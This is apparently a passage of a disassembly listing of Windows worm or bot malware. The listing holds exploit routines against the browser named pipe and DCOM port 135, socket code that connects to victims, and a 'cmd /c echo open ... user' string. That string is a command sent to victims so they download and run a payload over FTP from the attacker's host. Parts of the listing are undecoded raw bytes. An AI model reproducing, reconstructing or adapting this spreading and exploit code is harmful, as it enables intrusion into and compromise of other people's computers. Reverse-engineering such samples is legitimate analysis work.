		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  80h	; 
		db 0E0h	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2650879h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B


loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------


loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_404AE8


loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26307C3h
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2630000h
		nop
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730A
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------


loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)


loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730A
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730A
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0


loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C


loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		call	near ptr 26307C3h
		nop
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B


loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax


loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 2650BCFh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_404E03
		call	near ptr 2650BAEh
		nop
		cmp	eax, 3E5h
		jnz	loc_404A04


loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2650AE2h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1


loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------


loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]


loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi


loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0C2h	; 
		db  24h	; $
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db 0E8h	; 
		db  78h	; x
		db 0C4h	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db  90h	; 
		db 0E8h	; 
		db 0B6h	; 
		db 0C8h	; 
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db 0E8h	; 
		db  84h	; 
		db 0EDh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0AAh	; 
		db 0EFh	; 
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db  78h	; x
		db 0F6h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  3Ch	; <
		db 0C8h	; 
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0FCh	; 
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; 
		db  89h	; 
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db 0A3h	; 
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0D7h	; 
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db 0E8h	; 
		db  34h	; 4
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 1FB506E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C


loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE


loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh


loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax


loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43F668
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 260048Fh
		push	offset byte_42F678
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F


loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------


loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		mov	al, 1


loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		call	near ptr 71AB12F8h
		nop
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------


loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]


loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		call	near ptr 71AB3C22h
		nop
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx


loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2


loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		nop
		call	near ptr 71AB1AF4h
		push	3E8h
		call	near ptr 260048Fh
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		call	near ptr 71AB8629h
		nop
		push	edi
		nop
		call	near ptr 71AB1A6Dh


loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax


loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	0FEB0h
		push	406h
		call	sub_41544E
		add	esp, 10h
		mov	dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3ECEh
		nop
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB5DE2h
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	near ptr 71AB1890h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8


loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h,	83716B31h
		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574


loc_405584:				; CODE XREF: sub_4053D5+1A1j
